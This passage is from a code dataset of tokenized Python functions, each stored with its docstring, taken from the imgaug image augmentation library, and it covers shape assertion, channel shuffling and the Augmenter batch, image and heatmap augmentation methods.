shape[<NUM_LIT:0>] is not None:<EOL><INDENT>compare(len(heatmaps), shape[<NUM_LIT:0>], <NUM_LIT:0>, \"<STR_LIT>\")<EOL><DEDENT>for i in sm.xrange(len(heatmaps)):<EOL><INDENT>heatmaps_i = heatmaps[i]<EOL>for j in sm.xrange(len(shape[<NUM_LIT:0>:<NUM_LIT:2>])):<EOL><INDENT>expected = shape[j+<NUM_LIT:1>]<EOL>observed = heatmaps_i.arr_0to1.shape[j]<EOL>compare(observed, expected, j, i)<EOL><DEDENT><DEDENT><DEDENT>return heatmaps<EOL><DEDENT>def func_keypoints(keypoints_on_images, _random_state, _parents, _hooks):<EOL><INDENT>if check_keypoints:<EOL><INDENT>if shape[<NUM_LIT:0>] is not None:<EOL><INDENT>compare(len(keypoints_on_images), shape[<NUM_LIT:0>], <NUM_LIT:0>, \"<STR_LIT>\")<EOL><DEDENT>for i in sm.xrange(len(keypoints_on_images)):<EOL><INDENT>keypoints_on_image = keypoints_on_images[i]<EOL>for j in sm.xrange(len(shape[<NUM_LIT:0>:<NUM_LIT:2>])):<EOL><INDENT>expected = shape[j+<NUM_LIT:1>]<EOL>observed = keypoints_on_image.shape[j]<EOL>compare(observed, expected, j, i)<EOL><DEDENT><DEDENT><DEDENT>return keypoints_on_images<EOL><DEDENT>def func_polygons(polygons_on_images, _random_state, _parents, _hooks):<EOL><INDENT>if check_polygons:<EOL><INDENT>if shape[<NUM_LIT:0>] is not None:<EOL><INDENT>compare(len(polygons_on_images), shape[<NUM_LIT:0>], <NUM_LIT:0>, \"<STR_LIT>\")<EOL><DEDENT>for i in sm.xrange(len(polygons_on_images)):<EOL><INDENT>polygons_on_image = polygons_on_images[i]<EOL>for j in sm.xrange(len(shape[<NUM_LIT:0>:<NUM_LIT:2>])):<EOL><INDENT>expected = shape[j+<NUM_LIT:1>]<EOL>observed = polygons_on_image.shape[j]<EOL>compare(observed, expected, j, i)<EOL><DEDENT><DEDENT><DEDENT>return polygons_on_images<EOL><DEDENT>if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return Lambda(func_images, func_heatmaps, func_keypoints, func_polygons,<EOL>name=name, deterministic=deterministic,<EOL>random_state=random_state)<EOL>", "docstring": "Augmenter to make assumptions about the shape of input image(s), heatmaps and keypoints.\n\ndtype support::\n\n    * ``uint8``: yes; fully tested\n    * ``uint16``: yes; tested\n    * ``uint32``: yes; tested\n    * ``uint64``: yes; tested\n    * ``int8``: yes; tested\n    * ``int16``: yes; tested\n    * ``int32``: yes; tested\n    * ``int64``: yes; tested\n    * ``float16``: yes; tested\n    * ``float32``: yes; tested\n    * ``float64``: yes; tested\n    * ``float128``: yes; tested\n    * ``bool``: yes; tested\n\nParameters\n----------\nshape : tuple\n    The expected shape, given as a tuple. The number of entries in the tuple must match the\n    number of dimensions, i.e. it must contain four entries for ``(N, H, W, C)``. If only a\n    single image is augmented via ``augment_image()``, then ``N`` is viewed as 1 by this\n    augmenter. If the input image(s) don't have a channel axis, then ``C`` is viewed as 1\n    by this augmenter.\n    Each of the four entries may be None or a tuple of two ints or a list of ints.\n\n        * If an entry is None, any value for that dimensions is accepted.\n        * If an entry is int, exactly that integer value will be accepted\n          or no other value.\n        * If an entry is a tuple of two ints with values ``a`` and ``b``, only a\n          value ``x`` with ``a <= x < b`` will be accepted for the dimension.\n        * If an entry is a list of ints, only a value for the dimension\n          will be accepted which is contained in the list.\n\ncheck_images : bool, optional\n    Whether to validate input images via the given shape.\n\ncheck_heatmaps : bool, optional\n    Whether to validate input heatmaps via the given shape.\n    The number of heatmaps will be checked and for each Heatmaps\n    instance its array's height and width, but not the channel\n    count as the channel number denotes the expected number of channels\n    in images.\n\ncheck_keypoints : bool, optional\n    Whether to validate input keypoints via the given shape.\n    This will check (a) the number of keypoints and (b) for each\n    KeypointsOnImage instance the ``.shape``, i.e. the shape of the\n    corresponding image.\n\ncheck_polygons : bool, optional\n    Whether to validate input keypoints via the given shape.\n    This will check (a) the number of polygons and (b) for each\n    PolygonsOnImage instance the ``.shape``, i.e. the shape of the\n    corresponding image.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> seq = iaa.Sequential([\n>>>     iaa.AssertShape((None, 32, 32, 3)),\n>>>     iaa.Fliplr(0.5)\n>>> ])\n\nwill first check for each image batch, if it contains a variable number of\n``32x32`` images with 3 channels each. Only if that check succeeds, the\nhorizontal flip will be executed (otherwise an assertion error will be\nthrown).\n\n>>> seq = iaa.Sequential([\n>>>     iaa.AssertShape((None, (32, 64), 32, [1, 3])),\n>>>     iaa.Fliplr(0.5)\n>>> ])\n\nlike above, but now the height may be in the range ``32 <= H < 64`` and\nthe number of channels may be either 1 or 3.", "id": "f16288:m11"}
{"signature": "def shuffle_channels(image, random_state, channels=None):", "body": "if image.ndim < <NUM_LIT:3> or image.shape[<NUM_LIT:2>] == <NUM_LIT:1>:<EOL><INDENT>return image<EOL><DEDENT>nb_channels = image.shape[<NUM_LIT:2>]<EOL>all_channels = np.arange(nb_channels)<EOL>is_all_channels = (<EOL>channels is None<EOL>or channels == ia.ALL<EOL>or len(set(all_channels).difference(set(channels))) == <NUM_LIT:0><EOL>)<EOL>if is_all_channels:<EOL><INDENT>channels_perm = random_state.permutation(all_channels)<EOL>return image[..., channels_perm]<EOL><DEDENT>else:<EOL><INDENT>channels_perm = random_state.permutation(channels)<EOL>channels_perm_full = all_channels<EOL>for channel_source, channel_target in zip(channels, channels_perm):<EOL><INDENT>channels_perm_full[channel_source] = channel_target<EOL><DEDENT>return image[..., channels_perm_full]<EOL><DEDENT>", "docstring": "Randomize the order of (color) channels in an image.\n\ndtype support::\n\n    * ``uint8``: yes; fully tested\n    * ``uint16``: yes; indirectly tested (1)\n    * ``uint32``: yes; indirectly tested (1)\n    * ``uint64``: yes; indirectly tested (1)\n    * ``int8``: yes; indirectly tested (1)\n    * ``int16``: yes; indirectly tested (1)\n    * ``int32``: yes; indirectly tested (1)\n    * ``int64``: yes; indirectly tested (1)\n    * ``float16``: yes; indirectly tested (1)\n    * ``float32``: yes; indirectly tested (1)\n    * ``float64``: yes; indirectly tested (1)\n    * ``float128``: yes; indirectly tested (1)\n    * ``bool``: yes; indirectly tested (1)\n\n    - (1) Indirectly tested via ``ChannelShuffle``.\n\nParameters\n----------\nimage : (H,W,[C]) ndarray\n    Image of any dtype for which to shuffle the channels.\n\nrandom_state : numpy.random.RandomState\n    The random state to use for this shuffling operation.\n\nchannels : None or imgaug.ALL or list of int, optional\n    Which channels are allowed to be shuffled with each other.\n    If this is ``None`` or ``imgaug.ALL``, then all channels may be shuffled. If it is a list of integers,\n    then only the channels with indices in that list may be shuffled. (Values start at 0. All channel indices in\n    the list must exist in each image.)\n\nReturns\n-------\nndarray\n    The input image with shuffled channels.", "id": "f16288:m12"}
{"signature": "def __init__(self, name=None, deterministic=False, random_state=None):", "body": "super(Augmenter, self).__init__()<EOL>ia.do_assert(name is None or ia.is_string(name),<EOL>\"<STR_LIT>\" % (type(name),))<EOL>if name is None:<EOL><INDENT>self.name = \"<STR_LIT>\" % (self.__class__.__name__,)<EOL><DEDENT>else:<EOL><INDENT>self.name = name<EOL><DEDENT>ia.do_assert(ia.is_single_bool(deterministic),<EOL>\"<STR_LIT>\" % (type(deterministic),))<EOL>self.deterministic = deterministic<EOL>if random_state is None:<EOL><INDENT>if self.deterministic:<EOL><INDENT>self.random_state = ia.new_random_state()<EOL><DEDENT>else:<EOL><INDENT>self.random_state = ia.current_random_state()<EOL><DEDENT><DEDENT>elif isinstance(random_state, np.random.RandomState):<EOL><INDENT>self.random_state = random_state<EOL><DEDENT>else:<EOL><INDENT>self.random_state = np.random.RandomState(random_state)<EOL><DEDENT>self.activated = True<EOL>", "docstring": "Create a new Augmenter instance.\n\nParameters\n----------\nname : None or str, optional\n    Name given to an Augmenter object. This name is used in ``print()``\n    statements as well as find and remove functions.\n    If None, ``UnnamedX`` will be used as the name, where ``X`` is the\n    Augmenter's class name.\n\ndeterministic : bool, optional\n    Whether the augmenter instance's random state will be saved before\n    augmenting images and then reset to that saved state after an\n    augmentation (of multiple images/keypoints) is finished.\n    I.e. if set to True, each batch of images will be augmented in the\n    same way (e.g. first image might always be flipped horizontally,\n    second image will never be flipped etc.).\n    This is useful when you want to transform multiple batches of images\n    in the same way, or when you want to augment images and keypoints\n    on these images.\n    Usually, there is no need to set this variable by hand. Instead,\n    instantiate the augmenter with the defaults and then use\n    :func:`imgaug.augmenters.Augmenter.to_deterministic`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    The random state to use for this augmenter.\n\n        * If int, a new ``numpy.random.RandomState`` will be created using this\n          value as the seed.\n        * If ``numpy.random.RandomState`` instance, the instance will be used directly.\n        * If None, imgaug's default RandomState will be used, which's state can\n          be controlled using ``imgaug.seed(int)``.\n\n    Usually there is no need to set this variable by hand. Instead,\n    instantiate the augmenter with the defaults and then use\n    :func:`imgaug.augmenters.Augmenter.to_deterministic`.", "id": "f16288:c0:m0"}
{"signature": "def augment_batches(self, batches, hooks=None, background=False):", "body": "if isinstance(batches, (Batch, UnnormalizedBatch)):<EOL><INDENT>batches = [batches]<EOL><DEDENT>ia.do_assert(<EOL>(ia.is_iterable(batches)<EOL>and not ia.is_np_array(batches)<EOL>and not ia.is_string(batches))<EOL>or ia.is_generator(batches),<EOL>(\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (type(batches),))<EOL>if background:<EOL><INDENT>ia.do_assert(<EOL>hooks is None,<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>def _normalize_batch(idx, batch):<EOL><INDENT>if isinstance(batch, Batch):<EOL><INDENT>batch_copy = batch.deepcopy()<EOL>batch_copy.data = (idx, batch_copy.data)<EOL>batch_normalized = batch_copy<EOL>batch_orig_dt = \"<STR_LIT>\"<EOL><DEDENT>elif isinstance(batch, UnnormalizedBatch):<EOL><INDENT>batch_copy = batch.to_normalized_batch()<EOL>batch_copy.data = (idx, batch_copy.data)<EOL>batch_normalized = batch_copy<EOL>batch_orig_dt = \"<STR_LIT>\"<EOL><DEDENT>elif ia.is_np_array(batch):<EOL><INDENT>ia.do_assert(<EOL>batch.ndim in (<NUM_LIT:3>, <NUM_LIT:4>),<EOL>(\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (batch.shape,))<EOL>batch_normalized = Batch(images=batch, data=(idx,))<EOL>batch_orig_dt = \"<STR_LIT>\"<EOL><DEDENT>elif isinstance(batch, list):<EOL><INDENT>if len(batch) == <NUM_LIT:0>:<EOL><INDENT>batch_normalized = Batch(data=(idx,))<EOL>batch_orig_dt = \"<STR_LIT>\"<EOL><DEDENT>elif ia.is_np_array(batch[<NUM_LIT:0>]):<EOL><INDENT>batch_normalized = Batch(images=batch, data=(idx,))<EOL>batch_orig_dt = \"<STR_LIT>\"<EOL><DEDENT>elif isinstance(batch[<NUM_LIT:0>], ia.HeatmapsOnImage):<EOL><INDENT>batch_normalized = Batch(heatmaps=batch, data=(idx,))<EOL>batch_orig_dt = \"<STR_LIT>\"<EOL><DEDENT>elif isinstance(batch[<NUM_LIT:0>], ia.SegmentationMapOnImage):<EOL><INDENT>batch_normalized = Batch(segmentation_maps=batch,<EOL>data=(idx,))<EOL>batch_orig_dt = \"<STR_LIT>\"<EOL><DEDENT>elif isinstance(batch[<NUM_LIT:0>], ia.KeypointsOnImage):<EOL><INDENT>batch_normalized = Batch(keypoints=batch, data=(idx,))<EOL>batch_orig_dt = \"<STR_LIT>\"<EOL><DEDENT>elif isinstance(batch[<NUM_LIT:0>], ia.BoundingBoxesOnImage):<EOL><INDENT>batch_normalized = Batch(bounding_boxes=batch, data=(idx,))<EOL>batch_orig_dt = \"<STR_LIT>\"<EOL><DEDENT>elif isinstance(batch[<NUM_LIT:0>], ia.PolygonsOnImage):<EOL><INDENT>batch_normalized = Batch(polygons=batch, data=(idx,))<EOL>batch_orig_dt = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>raise Exception(<EOL>(\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (type(batch[<NUM_LIT:0>]),))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception(<EOL>(\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (type(batch),))<EOL><DEDENT>if batch_orig_dt not in [\"<STR_LIT>\",<EOL>\"<STR_LIT>\"]:<EOL><INDENT>ia.warn_deprecated(<EOL>(\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (<EOL>batch_orig_dt,))<EOL><DEDENT>return batch_normalized, batch_orig_dt<EOL><DEDENT>def _unnormalize_batch(batch_aug, batch_orig, batch_orig_dt):<EOL><INDENT>if batch_orig_dt == \"<STR_LIT>\":<EOL><INDENT>batch_unnormalized = batch_aug<EOL>batch_unnormalized.data = batch_unnormalized.data[<NUM_LIT:1>]<EOL><DEDENT>elif batch_orig_dt == \"<STR_LIT>\":<EOL><INDENT>batch_aug.data = batch_aug.data[<NUM_LIT:1>]<EOL>batch_unnormalized =batch_orig.fill_from_augmented_normalized_batch(batch_aug)<EOL><DEDENT>elif batch_orig_dt == \"<STR_LIT>\":<EOL><INDENT>batch_unnormalized = batch_aug.images_aug<EOL><DEDENT>elif batch_orig_dt == \"<STR_LIT>\":<EOL><INDENT>batch_unnormalized = []<EOL><DEDENT>elif batch_orig_dt == \"<STR_LIT>\":<EOL><INDENT>batch_unnormalized = batch_aug.images_aug<EOL><DEDENT>elif batch_orig_dt == \"<STR_LIT>\":<EOL><INDENT>batch_unnormalized = batch_aug.heatmaps_aug<EOL><DEDENT>elif batch_orig_dt == \"<STR_LIT>\":<EOL><INDENT>batch_unnormalized = batch_aug.segmentation_maps_aug<EOL><DEDENT>elif batch_orig_dt == \"<STR_LIT>\":<EOL><INDENT>batch_unnormalized = batch_aug.keypoints_aug<EOL><DEDENT>elif batch_orig_dt == \"<STR_LIT>\":<EOL><INDENT>batch_unnormalized = batch_aug.bounding_boxes_aug<EOL><DEDENT>else:  <EOL><INDENT>ia.do_assert(batch_orig_dt == \"<STR_LIT>\")<EOL>batch_unnormalized = batch_aug.polygons_aug<EOL><DEDENT>return batch_unnormalized<EOL><DEDENT>if not background:<EOL><INDENT>for idx, batch in enumerate(batches):<EOL><INDENT>batch_normalized, batch_orig_dt = _normalize_batch(idx, batch)<EOL>batch_normalized = self.augment_batch(<EOL>batch_normalized, hooks=hooks)<EOL>batch_unnormalized = _unnormalize_batch(<EOL>batch_normalized, batch, batch_orig_dt)<EOL>yield batch_unnormalized<EOL><DEDENT><DEDENT>else:<EOL><INDENT>import imgaug.multicore as multicore<EOL>id_to_batch_orig = dict()<EOL>def load_batches():<EOL><INDENT>for idx, batch in enumerate(batches):<EOL><INDENT>batch_normalized, batch_orig_dt = _normalize_batch(<EOL>idx, batch)<EOL>id_to_batch_orig[idx] = (batch, batch_orig_dt)<EOL>yield batch_normalized<EOL><DEDENT><DEDENT>with multicore.Pool(self) as pool:<EOL><INDENT>for batch_aug in pool.imap_batches(load_batches()):<EOL><INDENT>idx = batch_aug.data[<NUM_LIT:0>]<EOL>assert idx in id_to_batch_orig<EOL>batch_orig, batch_orig_dt = id_to_batch_orig[idx]<EOL>batch_unnormalized = _unnormalize_batch(<EOL>batch_aug, batch_orig, batch_orig_dt)<EOL>del id_to_batch_orig[idx]<EOL>yield batch_unnormalized<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Augment multiple batches.\n\nIn contrast to other augment functions, this function _yields_ batches\ninstead of just returning a full list. This is more suited for most\ntraining loops. It also supports augmentation on multiple cpu cores,\nactivated via the `background` flag.\n\nParameters\n----------\nbatches : imgaug.augmentables.batches.Batch \\\n          or imgaug.augmentables.batches.UnnormalizedBatch \\\n          or iterable of imgaug.augmentables.batches.Batch \\\n          or iterable of imgaug.augmentables.batches.UnnormalizedBatch\n    A single batch or a list of batches to augment.\n\nhooks : None or imgaug.HooksImages, optional\n    HooksImages object to dynamically interfere with the augmentation\n    process.\n\nbackground : bool, optional\n    Whether to augment the batches in background processes.\n    If true, hooks can currently not be used as that would require\n    pickling functions.\n    Note that multicore augmentation distributes the batches onto\n    different CPU cores. It does not split the data within batches.\n    It is therefore not sensible to use ``background=True`` for a\n    single batch.\n    Note also that multicore augmentation needs some time to start. It\n    is therefore not recommended to use it for very few batches.\n\nYields\n-------\nimgaug.augmentables.batches.Batch \\\n          or imgaug.augmentables.batches.UnnormalizedBatch \\\n          or iterable of imgaug.augmentables.batches.Batch \\\n          or iterable of imgaug.augmentables.batches.UnnormalizedBatch\n    Augmented batches.", "id": "f16288:c0:m1"}
{"signature": "def augment_batch(self, batch, hooks=None):", "body": "batch_orig = batch<EOL>if isinstance(batch, UnnormalizedBatch):<EOL><INDENT>batch = batch.to_normalized_batch()<EOL><DEDENT>augmentables = [(attr_name[:-len(\"<STR_LIT>\")], attr)<EOL>for attr_name, attr<EOL>in batch.__dict__.items()<EOL>if attr_name.endswith(\"<STR_LIT>\") and attr is not None]<EOL>augseq = self<EOL>if len(augmentables) > <NUM_LIT:1> and not self.deterministic:<EOL><INDENT>augseq = self.to_deterministic()<EOL><DEDENT>for attr_name, attr in augmentables:<EOL><INDENT>aug = getattr(augseq, \"<STR_LIT>\" % (attr_name,))(<EOL>attr, hooks=hooks)<EOL>setattr(batch, \"<STR_LIT>\" % (attr_name,), aug)<EOL><DEDENT>if isinstance(batch_orig, UnnormalizedBatch):<EOL><INDENT>batch = batch_orig.fill_from_augmented_normalized_batch(batch)<EOL><DEDENT>return batch<EOL>", "docstring": "Augment a single batch.\n\nParameters\n----------\nbatch : imgaug.augmentables.batches.Batch \\\n        or imgaug.augmentables.batches.UnnormalizedBatch\n    A single batch to augment.\n\nhooks : None or imgaug.HooksImages, optional\n    HooksImages object to dynamically interfere with the augmentation\n    process.\n\nReturns\n-------\nimgaug.augmentables.batches.Batch \\\n        or imgaug.augmentables.batches.UnnormalizedBatch\n    Augmented batch.", "id": "f16288:c0:m2"}
{"signature": "def augment_image(self, image, hooks=None):", "body": "ia.do_assert(image.ndim in [<NUM_LIT:2>, <NUM_LIT:3>],<EOL>\"<STR_LIT>\" % (image.shape,))<EOL>return self.augment_images([image], hooks=hooks)[<NUM_LIT:0>]<EOL>", "docstring": "Augment a single image.\n\nParameters\n----------\nimage : (H,W,C) ndarray or (H,W) ndarray\n    The image to augment.\n    Channel-axis is optional, but expected to be the last axis if present.\n    In most cases, this array should be of dtype ``uint8``, which is supported by all\n    augmenters. Support for other dtypes varies by augmenter -- see the respective\n    augmenter-specific documentation for more details.\n\nhooks : None or imgaug.HooksImages, optional\n    HooksImages object to dynamically interfere with the augmentation process.\n\nReturns\n-------\nimg : ndarray\n    The corresponding augmented image.", "id": "f16288:c0:m3"}
{"signature": "def augment_images(self, images, parents=None, hooks=None):", "body": "if parents is not None and len(parents) > <NUM_LIT:0> and hooks is None:<EOL><INDENT>if not self.activated or len(images) == <NUM_LIT:0>:<EOL><INDENT>return images<EOL><DEDENT>if self.deterministic:<EOL><INDENT>state_orig = self.random_state.get_state()<EOL><DEDENT>images_result = self._augment_images(<EOL>images,<EOL>random_state=ia.copy_random_state(self.random_state),<EOL>parents=parents,<EOL>hooks=hooks<EOL>)<EOL>ia.forward_random_state(self.random_state)<EOL>if self.deterministic:<EOL><INDENT>self.random_state.set_state(state_orig)<EOL><DEDENT>return images_result<EOL><DEDENT>if self.deterministic:<EOL><INDENT>state_orig = self.random_state.get_state()<EOL><DEDENT>if parents is None:<EOL><INDENT>parents = []<EOL><DEDENT>if ia.is_np_array(images):<EOL><INDENT>input_type = \"<STR_LIT>\"<EOL>input_added_axis = False<EOL>ia.do_assert(images.ndim in [<NUM_LIT:3>, <NUM_LIT:4>],<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (images.shape,))<EOL>images_copy = np.copy(images)<EOL>if images_copy.ndim == <NUM_LIT:3> and images_copy.shape[-<NUM_LIT:1>] in [<NUM_LIT:1>, <NUM_LIT:3>]:<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (images_copy.shape,))<EOL><DEDENT>if images_copy.ndim == <NUM_LIT:3>:<EOL><INDENT>images_copy = images_copy[..., np.newaxis]<EOL>input_added_axis = True<EOL><DEDENT><DEDENT>elif ia.is_iterable(images):<EOL><INDENT>input_type = \"<STR_LIT:list>\"<EOL>input_added_axis = []<EOL>if len(images) == <NUM_LIT:0>:<EOL><INDENT>images_copy = []<EOL><DEDENT>else:<EOL><INDENT>ia.do_assert(all(image.ndim in [<NUM_LIT:2>, <NUM_LIT:3>] for image in images),<EOL>\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\" % ([image.shape for image in images],))<EOL>images_copy = []<EOL>input_added_axis = []<EOL>for image in images:<EOL><INDENT>image_copy = np.copy(image)<EOL>if image.ndim == <NUM_LIT:2>:<EOL><INDENT>image_copy = image_copy[:, :, np.newaxis]<EOL>input_added_axis.append(True)<EOL><DEDENT>else:<EOL><INDENT>input_added_axis.append(False)<EOL><DEDENT>images_copy.append(image_copy)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\" % (<EOL>type(images),))<EOL><DEDENT>if hooks is not None:<EOL><INDENT>images_copy = hooks.preprocess(images_copy, augmenter=self, parents=parents)<EOL><DEDENT>if (hooks is None and self.activated)or (hooks is not None<EOL>and hooks.is_activated(images_copy, augmenter=self, parents=parents, default=self.activated)):<EOL><INDENT>if len(images) > <NUM_LIT:0>:<EOL><INDENT>images_result = self._augment_images(<EOL>images_copy,<EOL>random_state=ia.copy_random_state(self.random_state),<EOL>parents=parents,<EOL>hooks=hooks<EOL>)<EOL>ia.forward_random_state(self.random_state)<EOL><DEDENT>else:<EOL><INDENT>images_result = images_copy<EOL><DEDENT><DEDENT>else:<EOL><INDENT>images_result = images_copy<EOL><DEDENT>if hooks is not None:<EOL><INDENT>images_result = hooks.postprocess(images_result, augmenter=self, parents=parents)<EOL><DEDENT>output_type = \"<STR_LIT:list>\" if isinstance(images_result, list) else \"<STR_LIT>\"<EOL>if input_type == \"<STR_LIT>\":<EOL><INDENT>if input_added_axis is True:<EOL><INDENT>if output_type == \"<STR_LIT>\":<EOL><INDENT>images_result = np.squeeze(images_result, axis=<NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>images_result = [np.squeeze(image, axis=<NUM_LIT:2>) for image in images_result]<EOL><DEDENT><DEDENT><DEDENT>else:  <EOL><INDENT>ia.do_assert(<EOL>len(images_result) == len(images),<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (len(images), len(images_result))<EOL>)<EOL>for i in sm.xrange(len(images_result)):<EOL><INDENT>if input_added_axis[i] is True:<EOL><INDENT>images_result[i] = np.squeeze(images_result[i], axis=<NUM_LIT:2>)<EOL><DEDENT><DEDENT><DEDENT>if self.deterministic:<EOL><INDENT>self.random_state.set_state(state_orig)<EOL><DEDENT>return images_result<EOL>", "docstring": "Augment multiple images.\n\nParameters\n----------\nimages : (N,H,W,C) ndarray or (N,H,W) ndarray or list of (H,W,C) ndarray or list of (H,W) ndarray\n    Images to augment.\n    The input can be a list of numpy arrays or a single array. Each array is expected to\n    have shape ``(H, W, C)`` or ``(H, W)``, where H is the height, ``W`` is the width and\n    ``C`` are the channels. Number of channels may differ between images.\n    If a list is chosen, height and width may differ per between images.\n    In most cases, this array (or these arrays) should be of dtype ``uint8``, which is\n    supported by all augmenters. Support for other dtypes varies by augmenter -- see the\n    respective augmenter-specific documentation for more details.\n\nparents : None or list of imgaug.augmenters.Augmenter, optional\n    Parent augmenters that have previously been called before the\n    call to this function. Usually you can leave this parameter as None.\n    It is set automatically for child augmenters.\n\nhooks : None or imgaug.HooksImages, optional\n    HooksImages object to dynamically interfere with the augmentation process.\n\nReturns\n-------\nimages_result : ndarray or list\n    Corresponding augmented images.", "id": "f16288:c0:m4"}
{"signature": "@abstractmethod<EOL><INDENT>def _augment_images(self, images, random_state, parents, hooks):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Augment multiple images.\n\nThis is the internal variation of `augment_images()`.\nIt is called from `augment_images()` and should usually not be called\ndirectly.\nIt has to be implemented by every augmenter.\nThis method may transform the images in-place.\nThis method does not have to care about determinism or the\nAugmenter instance's ``random_state`` variable. The parameter\n``random_state`` takes care of both of these.\n\nParameters\n----------\nimages : (N,H,W,C) ndarray or list of (H,W,C) ndarray\n    Images to augment.\n    They may be changed in-place.\n    Either a list of ``(H, W, C)`` arrays or a single ``(N, H, W, C)`` array,\n    where ``N`` is the number of images, ``H`` is the height of images, ``W``\n    is the width of images and ``C`` is the number of channels of images.\n    In the case of a list as input, ``H``, ``W`` and ``C`` may change per image.\n\nrandom_state : numpy.random.RandomState\n    The random state to use for all sampling tasks during the augmentation.\n\nparents : list of imgaug.augmenters.meta.Augmenter\n    See :func:`imgaug.augmenters.meta.Augmenter.augment_images`.\n\nhooks : imgaug.HooksImages or None\n    See :func:`imgaug.augmenters.meta.Augmenter.augment_images`.\n\nReturns\n----------\nimages : (N,H,W,C) ndarray or list of (H,W,C) ndarray\n    The augmented images.", "id": "f16288:c0:m5"}
{"signature": "def augment_heatmaps(self, heatmaps, parents=None, hooks=None):", "body": "if self.deterministic:<EOL><INDENT>state_orig = self.random_state.get_state()<EOL><DEDENT>if parents is None:<EOL><INDENT>parents = []<EOL><DEDENT>input_was_single_instance = False<EOL>if isinstance(heatmaps, ia.HeatmapsOnImage):<EOL><INDENT>input_was_single_instance = True<EOL>heatmaps = [heatmaps]<EOL><DEDENT>ia.do_assert(ia.is_iterable(heatmaps),<EOL>\"<STR_LIT>\" % (type(heatmaps),))<EOL>ia.do_assert(all([isinstance(heatmaps_i, ia.HeatmapsOnImage) for heatmaps_i in heatmaps]),<EOL>\"<STR_LIT>\" % (<EOL>[type(el) for el in heatmaps],))<EOL>if len(parents) == <NUM_LIT:0> or hooks is not None:<EOL><INDENT>heatmaps_copy = [heatmaps_i.deepcopy() for heatmaps_i in heatmaps]<EOL><DEDENT>else:<EOL><INDENT>heatmaps_copy = heatmaps<EOL><DEDENT>if hooks is not None:<EOL><INDENT>heatmaps_copy = hooks.preprocess(heatmaps_copy, augmenter=self, parents=parents)<EOL><DEDENT>if (hooks is None and self.activated)or (hooks is not None<EOL>and hooks.is_activated(heatmaps_copy, augmenter=self, parents=parents, default=self.activated)):<EOL><INDENT>if len(heatmaps_copy) > <NUM_LIT:0>:<EOL><INDENT>heatmaps_result = self._augment_heatmaps(<EOL>heatmaps_copy,<EOL>random_state=ia.copy_random_state(self.random_state),<EOL>parents=parents,<EOL>hooks=hooks<EOL>)<EOL>ia.forward_random_state(self.random_state)<EOL><DEDENT>else:<EOL><INDENT>heatmaps_result = heatmaps_copy<EOL><DEDENT><DEDENT>else:<EOL><INDENT>heatmaps_result = heatmaps_copy<EOL><DEDENT>if hooks is not None:<EOL><INDENT>heatmaps_result = hooks.postprocess(heatmaps_result, augmenter=self, parents=parents)<EOL><DEDENT>if self.deterministic:<EOL><INDENT>self.random_state.set_state(state_orig)<EOL><DEDENT>if input_was_single_instance:<EOL><INDENT>return heatmaps_result[<NUM_LIT:0>]<EOL><DEDENT>return heatmaps_result<EOL>", "docstring": "Augment a heatmap.\n\nParameters\n----------\nheatmaps : imgaug.HeatmapsOnImage or list of imgaug.HeatmapsOnImage\n    Heatmap(s) to augment. Either a single heatmap or a list of\n    heatmaps.\n\nparents : None or list of imgaug.augmenters.meta.Augmenter, optional\n    Parent augmenters that have previously been called before the\n    call to this function. Usually you can leave this parameter as None.\n    It is set automatically for child augmenters.\n\nhooks : None or imaug.HooksHeatmaps, optional\n    HooksHeatmaps object to dynamically interfere with the augmentation process.\n\nReturns\n-------\nheatmap_result : imgaug.HeatmapsOnImage or list of imgaug.HeatmapsOnImage\n    Corresponding augmented heatmap(s).", "id": "f16288:c0:m6"}
{"signature": "@abstractmethod<EOL><INDENT>def _augment_heatmaps(self, heatmaps, random_state, parents, hooks):<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Augment heatmaps on multiple images.\n\nThis is the internal version of ``augment_heatmaps()``.\nIt is called from ``augment_heatmaps()`` and should usually not be called\ndirectly.\nThis method may heatmaps in-place.\nThis method does not have to care about determinism or the\nAugmenter instance's ``random_state`` variable. The parameter\n``random_state`` takes care of both of these.\n\nParameters\n----------\nheatmaps : list of imgaug.HeatmapsOnImage\n    Heatmaps to augment. They may be changed in-place.\n\nparents : list of imgaug.augmenters.meta.Augmenter\n    See :func:`imgaug.augmenters.meta.Augmenter.augment_heatmaps`.\n\nhooks : imgaug.HooksHeatmaps or None\n    See :func:`imgaug.augmenters.meta.Augmenter.augment_heatmaps`.\n\nReturns\n----------\nimages : list of 